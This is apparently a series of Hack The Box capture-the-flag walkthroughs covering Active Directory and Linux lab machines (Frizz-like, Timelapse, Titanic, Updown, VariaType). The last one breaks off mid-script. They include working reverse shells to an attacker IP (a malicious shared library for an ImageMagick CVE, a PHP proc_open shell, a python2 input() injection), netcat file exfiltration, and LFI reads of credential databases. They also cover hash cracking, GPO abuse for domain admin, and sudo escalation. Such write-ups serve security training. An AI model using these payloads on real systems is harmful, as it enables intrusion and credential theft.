| gibbonstaffcoverage                   |
| gibbonstaffcoveragedate               |
| gibbonstaffduty                       |
| gibbonstaffdutyperson                 |
| gibbonstaffjobopening                 |
| gibbonstaffupdate                     |
| gibbonstring                          |
| gibbonstudentenrolment                |
| gibbonstudentnote                     |
| gibbonstudentnotecategory             |
| gibbonsubstitute                      |
| gibbontheme                           |
| gibbontt                              |
| gibbonttcolumn                        |
| gibbonttcolumnrow                     |
| gibbonttday                           |
| gibbonttdaydate                       |
| gibbonttdayrowclass                   |
| gibbonttdayrowclassexception          |
| gibbonttimport                        |
| gibbonttspacebooking                  |
| gibbonttspacechange                   |
| gibbonunit                            |
| gibbonunitblock                       |
| gibbonunitclass                       |
| gibbonunitclassblock                  |
| gibbonunitoutcome                     |
| gibbonusernameformat                  |
| gibbonyeargroup                       |
+---------------------------------------+
191 rows in set (0.319 sec)

there are many tables in the database i searched on google for table name that stores the login information in Gibbon LMS i found that gibbonPerson table stores the login information

let’s extract data from the gibbonPerson table

Note: I first run select * from gibbonPerson; query then i found the appropriate columns names to run exect query to get only id,username and password

select gibbonPersonID,username,Passwordstrong from gibbonPerson;

i tried to crack the password but no success, so i tried to update password and i found this thread which shows the correct query to update the password

https://ask.gibbonedu.org/t/admin-password-reset-no-password-field-in-sql/3746

UPDATE gibbonPerson SET passwordStrong=SHA2(CONCAT(@salt:=SUBSTRING(MD5(RAND()), 1, 22), "admin@123"), 256), passwordStrongSalt=@salt WHERE gibbonPerson.gibbonPersonID=0000000001;

also after running select query we noticed that hash is now changed we assume that we successfully updated the password of f.frizzle user

let’s login to Gibbon portal using f.frizzle:admin@123 creds

and Boom! we’re in

let’s try the https://www.exploit-db.com/exploits/51903 as now we have valid credentials

let’s check if the Exploit it working or not we’ll start tcpdump to capture ICMP request on kali machine

sudo tcpdump -i tun0 icmp -v

and then run the exploit

python3 51903.py 10.10.11.60 80/Gibbon-LMS 'f.frizzle@frizz.htb' 'admin@123' "ping -n 1 10.10.14.17"

on tcpdump output

we run the whoami command to see what user we have RCE as

LOL 😂 we’re still at w.webservice user!

let’s try again to crack the hash this time i am using different approach to crack the hash first create a hash file that contains following hash

f.frizzle:$dynamic_82$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489

crack the hash using john

john --format=dynamic='sha256($s.$p)' f_frizzle.hash --wordlist=/usr/share/wordlists/rockyou.txt

let’s check the password using netexc

netexec smb 10.10.11.60 -u f.frizzle -p Jenni_Luvs_Magic23

it shows not supported maybe it requires the kerberos authentication? let’s verify this using kerbrute

kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb password.txt f.frizzle -v

first we’ll need to sync the times of KDC and our kali machine

kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb password.txt f.frizzle -v

let’s get TGT for the user

	impacket-getTGT frizz.htb/f.frizzle:Jenni_Luvs_Magic23 -dc-ip 10.10.11.60

it will save ticket in f.frizzle.ccache, let’s export it

now in order to access the SSH over kerberos we can use following command to first initialize the ticket and then use it

kinit f.frizzle@frizz.htb

use ssh to connect

ssh f.frizzle@frizzledc.frizz.htb -K

then i ran the bloodhound to capture information about the Domain

bloodhound-python -c all -d frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -ns 10.10.11.60

above command will gather the data from domain using f.frizzle’s creds

load the json files to bloodhound

i checked the f.frizzle doens’t have any special permissions on the Domain we’ll get back to it later.

after completely scanning the machine manually and using winpeas we didn’t find anything useful, then i think about what if we check inside the Recycle bin of the user

to do so we need to check C:\$RECYCLE.BIN\<USER-SID>

to get the User’s SID use following command (it will provide the f.frizzle’s SID)

Get-LocalUser -Name f.frizzle | select-Object sid

then cd to user’s SID directory and we found interesting 7z file in the recycle bin

we used the powershell command to copy the ZIP file from the Recycle Bin to \temp foldder

Copy-Item -Path 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-110
3\$RE2XMEG.7z' -Destination C:\temp\test.7z

now we need to transfer this file to our kali machine we can do this via netcat

cmd /c "\temp\nc.exe 10.10.14.17 443 < test.7z"

on kali machine

nc -nvlp 443 > file.7z

on kali we’ve extracted file using 7z command

7z x file.7z

after searching for bit we’ve found the likely base64 encoded password in conf/waptserver.ini file

let’s try to decode it

echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d

let’s check the password for list of the users using kerbrute

kerbrute passwordspray --dc 10.10.11.60 -d frizz.htb users.txt '!suBcig@MehTed!R'

let’s check the group membership of the M.SchoolBus user

net user M.SchoolBus

let’s check the bloodhound to see if the new user has any interesting permissions

we noticed that user M.SchoolBus owns all the users except Administrator and v.frizzle who is the member of Domain Admins so we need to abuse the WriteGPLink permissions

as we can see that there’s Class_Frizz Group policy and it is not default domain policy, let’s abuse this to get Domain Admin access

first we need to login as M.SchoolBus, we’ll first initialize the TGT and then check if the ticket it initialized in memory using klist command

kinit M.SchoolBus@FRIZZ.HTB

nice we can now log in using

ssh M.SchoolBus@frizz.htb -K

we’ll use https://github.com/FSecureLABS/SharpGPOAbuse to Add our M.SchoolBus user in Local Administrators group

we’ll list available GPOs using

Get-GPO -All

we found 2 GPOs but we are not owner of it so we need to create a new GPO and then

let’s create a new GPO and then we’ll abuse it

New-GPO -Name New-GPO | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes

now again we’ll run the Get-GPO -All command to list the GPOs

Nice now let’s use the SharpGPOAbuse to add M.SchoolBus user to Local Administrators group

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName New-GPO --force

let’s update the group policy by

gpupdate /force

let’s check the group membership of m.schoolbus user using net user m.schoolbus

Bingo we are now Administrator on the DC

we’ll use the RunasCs.exe binary to spawn another shell as M.SchoolBus user in which we’ll have full privileges that local Administrator Account has

transfer the RunasCs.exe to target machine

start netcat listener on port 443 on kali

.\runas.exe M.SchoolBus "!suBcig@MehTed!R" powershell.exe -r 10.10.14.17:443

we get the reverse shell on kali port 443

Timelapse

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Timelapse
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Thu Apr 17 06:47:25 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.152
Nmap scan report for 10.10.11.152
Host is up, received echo-reply ttl 127 (0.36s latency).
Scanned at 2025-04-17 06:47:26 EDT for 1497s
Not shown: 65519 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE           REASON          VERSION
53/tcp    open  domain            syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec      syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-17 19:09:59Z)
135/tcp   open  msrpc             syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn       syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap              syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?     syn-ack ttl 127
464/tcp   open  kpasswd5?         syn-ack ttl 127
636/tcp   open  ldapssl?          syn-ack ttl 127
3268/tcp  open  ldap              syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl? syn-ack ttl 127
5986/tcp  open  ssl/http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
|_ssl-date: 2025-04-17T19:11:59+00:00; +7h59m46s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Issuer: commonName=dc01.timelapse.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-10-25T14:05:29
| Not valid after:  2022-10-25T14:25:29
| MD5:   e233:a199:4504:0859:013f:b9c5:e4f6:91c3
| SHA-1: 5861:acf7:76b8:703f:d01e:e25d:fc7c:9952:a447:7652
| -----BEGIN CERTIFICATE-----
| MIIDCjCCAfKgAwIBAgIQLRY/feXALoZCPZtUeyiC4DANBgkqhkiG9w0BAQsFADAd
| MRswGQYDVQQDDBJkYzAxLnRpbWVsYXBzZS5odGIwHhcNMjExMDI1MTQwNTI5WhcN
| MjIxMDI1MTQyNTI5WjAdMRswGQYDVQQDDBJkYzAxLnRpbWVsYXBzZS5odGIwggEi
| MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJdoIQMYt47skzf17SI7M8jubO
| rD6sHg8yZw0YXKumOd5zofcSBPHfC1d/jtcHjGSsc5dQQ66qnlwdlOvifNW/KcaX
| LqNmzjhwL49UGUw0MAMPAyi1hcYP6LG0dkU84zNuoNMprMpzya3+aU1u7YpQ6Dui
| AzNKPa+6zJzPSMkg/TlUuSN4LjnSgIV6xKBc1qhVYDEyTUsHZUgkIYtN0+zvwpU5
| isiwyp9M4RYZbxe0xecW39hfTvec++94VYkH4uO+ITtpmZ5OVvWOCpqagznTSXTg
| FFuSYQTSjqYDwxPXHTK+/GAlq3uUWQYGdNeVMEZt+8EIEmyL4i4ToPkqjPF1AgMB
| AAGjRjBEMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAdBgNV
| HQ4EFgQUZ6PTTN1pEmDFD6YXfQ1tfTnXde0wDQYJKoZIhvcNAQELBQADggEBAL2Y
| /57FBUBLqUKZKp+P0vtbUAD0+J7bg4m/1tAHcN6Cf89KwRSkRLdq++RWaQk9CKIU
| 4g3M3stTWCnMf1CgXax+WeuTpzGmITLeVA6L8I2FaIgNdFVQGIG1nAn1UpYueR/H
| NTIVjMPA93XR1JLsW601WV6eUI/q7t6e52sAADECjsnG1p37NjNbmTwHabrUVjBK
| 6Luol+v2QtqP6nY4DRH+XSk6xDaxjfwd5qN7DvSpdoz09+2ffrFuQkxxs6Pp8bQE
| 5GJ+aSfE+xua2vpYyyGxO0Or1J2YA1CXMijise2tp+m9JBQ1wJ2suUS2wGv1Tvyh
| lrrndm32+d0YeP/wb8E=
|_-----END CERTIFICATE-----
9389/tcp  open  mc-nmf            syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc             syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http        syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc             syn-ack ttl 127 Microsoft Windows RPC
49716/tcp open  msrpc             syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 32357/tcp): CLEAN (Timeout)
|   Check 2 (port 16472/tcp): CLEAN (Timeout)
|   Check 3 (port 22941/udp): CLEAN (Timeout)
|   Check 4 (port 20070/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-04-17T19:10:55
|_  start_date: N/A
|_clock-skew: mean: 7h59m45s, deviation: 0s, median: 7h59m45s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 17 07:12:23 2025 -- 1 IP address (1 host up) scanned in 1498.41 seconds

Enumeration

Port 139,445/SMB

the SMB is open on target machine i’ll start my enumeration from smb, always check for Null session on SMB

smbclient -L //10.10.11.152 -N

i tried to connect to NETLOGN, but no listing access then i connected with Shares share and i found 2 directories Dev and HelpDesk

download all files using

smb: \> recurse
smb: \> prompt
smb: \> mget *

then i tried to unzip the winrm_backup.zip file that i got from the dev directory

it is password protected, let’s use the zip2john tool to get password hahs of the file then we can use the john to crack it

zip2john winrm_backup.zip > zip.hash

then crack hash using john

john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

nice we got the password, let’s open the winrm_backup.zip

i found this article https://notes.shashwatshah.me/windows/active-directory/winrm-using-certificate-pfx that says we can login with evil-winrm using pfx file first we need to extract pem and crt from it

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.pem

to crack the password i’ll be using pfx2john YESS john has utility to crack the pfx’s password hashes

pfx2john legacyy_dev_auth.pfx > pfx.hash

then i used the john to crack the hash

john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt

so now as we have the password let’s export the private key and cert from the pfx file

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.pem

it will ask you to enter PEM pass phrase, enter any password you want to encrypt private key with i’ll be using the same passpharese thuglegacy

now let’s export cert using following command

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt

now convert it to rsa format using

openssl rsa -in private.pem -out private2.pem

specify the pass phssphrase that you’ve entered while extracting pem file, i used the same thuglegacy as pass phrase

now let’s use evil-winrm to connect with private key and certificate

evil-winrm -i 10.10.11.152 -u 'dev' -k private2.pem -c cert.crt -p ''

but it is not connected so i checked performed bruteforce using kerbrute to see if the dev user exists or not

and i found dev user doesn’t exist in the system

so i tried using LDAP to enumerate users using ldapsearch

ldapsearch -H ldap://10.10.11.152 -x -b "DC=timelapse,DC=htb"

No Success!, Nothing from rpcclient and enum4linux as well, now it’s all on guessing so if you noticed all password contains legacy thing so i put the legacyy, legacy, supremelegacy, thuglegacy and run the kerbrute again to see if any user is valid

Bingo! we got hit as legacyy let’s use this username in winrm

	evil-winrm -i 10.10.11.152 -u 'legacyy' -k private2.pem -c cert.crt -p ''

but command still not working, so i’ve searched for the key authentication in evil-winrm i found https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/ article that shows we can only specify -S option without username or password

evil-winrm -i 10.10.11.152 -k private2.pem -c cert.crt -S

Way to Administrator

reading the powershell history file located at $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt i found the password of svc_deploy user

cat $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

so we found the valid set of credentials - svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

net user svc_deploy

let’s check the group membership of the svc_deploy user

we found that svc_deploy is the member of remote management users great we can use winrm to login as svc_deploy

evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

we use -S option to use secure SSL connection on port 5986 as port 5985 is not open we need to connect to secure (SSL) port

if we check the group membership of the svc_deploy user we found that the user is member of LAPS_Readesrs group

LAPS (Local Administrator Password Solution)

The Local Administrator Password Solution (LAPS) is a tool designed to manage local account passwords for computers joined to a domain. It securely stores these passwords in Active Directory (AD), protected by Access Control Lists (ACLs), ensuring that only authorized users can access or reset them.

and the members of LAPS_Readers group can read the Local Admin password from the DC we can use Impacket-GetLAPSPassword or netexec let’s try both

using impacket-GetLAPSPassword:

impacket-GetLAPSPassword timelapse.htb/svc_deploy:'E3R$Q62^12p7PLlC%KWaxuaV' -dc-ip 10.10.11.152

using netexec:

netexec ldap 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' --module laps

now let’s use this password to login to DC as Administrator using PsExec!

impacket-psexec timelapse.htb/Administrator:'W3n+!P(Qj!3M6s;40@8(%G)8'@10.10.11.152

but it stucks, and not dropping the system shell

let’s use evil-winrm instead

evil-winrm -i 10.10.11.152 -u Administrator -p 'W3n+!P(Qj!3M6s;40@8(%G)8' -S

wait what no root.txt at the Administrator desktop, let’s use tree command from C:\Users directory

tree /a /f

OHH so root.txt is on TRX user’s desktop

Titanic

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Titanic
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

let’s start the enumeration from port 80

looks like it allows only access from hostname let’s add entry in /etc/hosts file

refresh the web page

then we click on the Book ticket option and we found the form to book the ticket

inspecting the network tab we found two API calls one is /book and /download

the /download API looks interesting as it should be vulnerable to LFI, let’s keep this info in our back-pocket and move to further enumeration

check the web technology using whatweb

whatweb http://titanic.htb

let’s run the gobuster to fuzz for hidden files and directories

gobuster dir -u http://titanic.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -b 403,404

let’s check the /download endpoint

it shows ticket parameter is required

let’s specify the ticket parameter and see if we can get anything

it shows ticket not found, i tried basic SQLi but it is not vulnerable to SQL injection

let’s try to bruteforce subdomains using wfuzz

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://titanic.htb -H "Host: FUZZ.titanic.htb" --hw 28-

--hw 28 : it excludes response that matches size 28 words

let’s add the .dev subdomain entry in /etc/hosts file

now let’s check if the endpoint is vulnerable to LFI i tried to download ../../../../../../../../etc/passwd file

yes, it is vulnerable to LFI but i didn’t find any SSH keys in

checking the repositories in gitea panel

in docker-config i found the password of mysql user

let’s check the docker-compose.yml

we found the path of gitea configuration

download the configuration file:

http://titanic.htb/download?ticket=../../../../../../../../../../../../home/developer/gitea/data/gitea/conf/app.ini

it exposed the location of sqlite database, as we can download it let’s download and check if we can get credentials of the developer user

download database using http://titanic.htb/download?ticket=../../../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db

first rename the database using mv command and then use sqlite3 to open db file

sqlite3 gitea.db

run .tables command to get list of tables in database

i found interesting user table

select * from user;

now it is little messy we can get column names using below query

PRAGMA table_info(user);

i found the valid column names we need and select data from it

select name,salt,passwd from user;

i found the tool that convert this hash into hashcat crackable formathttps://github.com/unix-ninja/hashcat/blob/master/tools/gitea2hashcat.py

python gitea2hashcat.py "8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56"

copy and paste the file in developer.hash and use below hashcat tool to crack the hash

hashcat -m 10900 developer.hash /usr/share/wordlists/rockyou.txt

let’s ssh as developer user

ssh developer@10.10.11.55

upon enumerating the system i found identify_images.sh inside /otp/scripts directory

let’s read the contents of sh file

the script is running as root, possibly as cronjob

let’s check the imageMagicks version

quick google search reveals that it it vulnerable to Arbritrary command execution → https://github.com/Dxsk/CVE-2024-41817-poc and as the script is running as root we’ll get RCE as root

steps:

go to directory from where it is running magick binary /opt/app/static/images/

run following command

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("busybox nc 10.10.14.17 443 -e /bin/bash");
    exit(0);
}
EOF

make sure to change Ip and port based on your requirement, start netcat listener and wait for root to execute the bash file (every 1 minutes)

and you’ll get the shell as root

Updown

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Updown
OS type: Linux
Difficulty: Intermediate

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

port 80 is running website let’s visit it from web browser

it disclosed the hostname for the website siteisup.htb let’s add this into /etc/host file using sudo nano /etc/hosts

so this site is check if any site is up and running or not, so we assume that this site may be sending a curl or ping request to site maybe?, let’s start python http server on kali machine using python3 -m http.server 80

and in siteisup.htb enter the http://<your machine’s IP> also for curiosity let’s check the debug mode on

send request through brup so we’ll inspect it’s response properly

nice we got hit as expected ,what about Remote file inclusion! let’s create basic php file on our machine and then try to access it to check if this including it’s content and executing it or not

below is the php file that we’ll run id command and we need to check if it’s response includes the command output or not

<?php
system('id');
?>

we got hit and 200 OK on our python web server but response doesn’t executing the file, it’s just included it’s content (php code) into response, what about accessing internal files we can do this by [file:///etc/passwd](file:///etc/passwd) will access the /etc/passwd file of it’s localhost

Uhh! it detected us as hacker :( it’s not good for us let’s try directory bruteforcing

gobuster dir -u http://siteisup.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

let’s access the /dev directory

it’s blank page, HAHAHA, now nothing from here what about subdomain, i thought because we are working on Hackthebox anything can be possible here 😂

wfuzz -u http://10.10.11.177 -H "Host: FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh 1131

—hh 1131: 1131 ch is the default response length so we’ll incude this length using —hh option

we found dev subdomain let’s add this to /etc/hosts file and access dev.siteisup.htb site

let’s move to another thing enumerate /dev directory here i’ll use the quickhits.txt for any quickhits

gobuster dir -u http://10.10.11.177/dev -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt

git repo exposed this article help you to exploit exposed git repo → https://medium.com/stolabs/git-exposed-how-to-identify-and-exploit-62df3c165c37, we’ll download it using wget

wget --mirror -I .git [http://siteisup.htb/dev](http://siteisup.htb/dev)/.git → to download git repo to our kali machine

not sure but it is not working, let’s use the tool git-dumper to dump the git, can be installed by pipx install git-dumper

run with

git-dumper http://10.10.11.177/dev/.git/ output

it will save all files in output directory

reading .htaccess file we found that if we want to access dev.siteisup.htb we need to specify Special-Dev header with value only4dev

let’s specify the Header via burpsuite

we checked by uploading files, accessing admin panel with /?page=admin, we tried LFI in page parameter but no Luck in that!

uploading files we are not allowed to PHP files

we have the source code of the website so why not look into checker.php file

let’s check the index.php file

it’s including file using include function and appending .php extension into all files, now let’s try some basic things here first download the Extension to add custom header for every request https://addons.mozilla.org/en-US/firefox/addon/simple-modify-header/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search

we noticed that it deletes the file after a checking host is online or not!

so it will try to read the file contents and then deletes it, Hmm what if we don’t allow file to be read means what if we upload other files that are not restricted and then access it from the phar wrapper

file still present on the directory as code doesn’t read it so it doesn’t executed the unlink function

it also deletes these files after few mins maybe some system cronjob running!, first let’s create the test.php with following code

<?php
echo "this is test site";
system('id');
?>

zip to phar archive using zip test.phar test.php

upload the test.phar using in dev.siteisup.htb site navigate to /uploads and newly created directory

http://dev.siteisup.htb/?page=phar://uploads/275a2ded4d22d0d8191147bc128ca090/test.phar/test

it does executes the echo command but not the sytem() function

the system() and shell_exec() command not working, maybe these functions disabled, the thing is we can confirm this by reading phpinfo file, for this we need to first write phpinfo() function in our test.php

<?php
echo "this is test site";
phpinfo();
?>

let’s zip it zip test.phar test.php and upload it to the site, follow same process to get it’s upload folder access it from http://dev.siteisup.htb/?page=phar://uploads/9af4e6924c1678ab8a59b13900f559c6/test.phar/test

let’s check if the system() and shell_exec() functions are disbaled or not

Yes it is disabled now let’s use tool call https://github.com/teambi0s/dfunc-bypasser to examine the phpinfo.ini file and then find any vulnerability from it

first let’s download phpinfo.php using curl

curl -H "Special-Dev: only4dev" 'http://dev.siteisup.htb/?page=phar://uploads/9af4e6924c1678ab8a59b13900f559c6/test.phar/test' > phpinfo.php

now let’s run the dfunc-bypasser tool to analyze the phpinfo.php file

python2 dfunc-bypasser.py --file phpinfo.php

ohh! nice we can see something proc_open is not disabled, from php official documentation we found that

proc_open — Execute a command and open file pointers for input/output

let’s create a test.php with reverse shell using proc_open()

<?php
$descriptorspec = array(
  0 => array('pipe', 'r'), // stdin
  1 => array('pipe', 'w'), // stdout
  2 => array('pipe', 'a') // stderr
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.17/443 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>

start reverse shell listener on port 443 using rlwrap -r nc -nvlp 443

Bingo!! shell as www-data

let’s check real users in the system using cat /etc/passwd | grep -i "sh"

cat /etc/passwd | grep -i "sh"

oh so our next target is developer

Post-Enum

sudo -l

nothing in sudo -l

let’s search for SUID binaries using find command

find / -type f -perm -4000 2>/dev/null

let’s check permissions of the file using ls -la /home/developer/dev/siteisup

we have the write permissions to it!!

let’s check the directory

let’s check the strings of the executable strings siteisup

ohh so it is may be executing the siteisup_test.py is executed by the binary but unfortunately we don’t have write permissions to it

let’s check which python version is running on the system using python -V

quick google search reveals that the python2 has the vulnerability in input() function → https://github.com/3ls3if/Cybersecurity-Notes/blob/main/real-world-and-and-ctf/scripts-and-systems/python2-input-vulnerability.md

we can use `

__import__("os").system("id")

it throws error but executed the given command

also the command executed as the developer user, let’s get the reverse shell as developer

__import__("os").system("busybox nc 10.10.14.17 443 -e /bin/bash")

use this payload start rev shell listener on port 443

in Enter URL here input this malicious payload to get reverse shell

check reverse shell on listener

but we are still not able to read user.txt

because of this file permissions says the root is the owner of the file and the group developer has read permissions but our user has UID=1002 (developer) but we are not member of developer group

let’s move to root then!!

sudo -l ?? let’s check it out

let’s read the file and check what does it contains

let’s give the GTFOBins a try!

https://gtfobins.github.io/gtfobins/easy_install/nice we found the exploit for sudo what’s the waiting for let’s just exploit it

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF

VariaType

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: VariaType
OS Type: Linux
Difficulty: Medium

Port Scanning - Service & Version Enumeration

Nmap scan report for 10.129.8.69
Host is up, received user-set (0.17s latency).
Scanned at 2026-03-15 11:41:29 IST for 71s
Not shown: 63978 closed tcp ports (reset), 1555 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Enumeration

Port 80/HTTP

i found Port 80 running it means the server is running a web server let’s visit the site:

it redirects to variatype.htb we need to add the entry to /etc/hosts file.

"10.129.9.244 variatype.htb" | sudo tee -a /etc/hosts

again visiting the website we got the success!, so we can see that the website is about some font generation, in meantime let’s start the scanning for any interesting VHOST (virtual host) fuzzing.

ffuf -u http://variatype.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -H "Host: FUZZ.variatype.htb" -fs 169

in no time we got another sub domain/virtual host (vhost) let’s add this to our /etc/hosts and then visit portal.variatype.htb

so it has a login page, and portal is looking like any internal validation.

for now let’s try to generate some fonts in main site

it has some upload files functionality.

i’ve tried to upload some txt file in .designspace

so it is validating the files in backend, while researching on google i found - https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv

so in POC there was the .designspace file

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

here it shows that the file name is the file name to create, and there’s a python script which is used to generate font files (ttf)

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
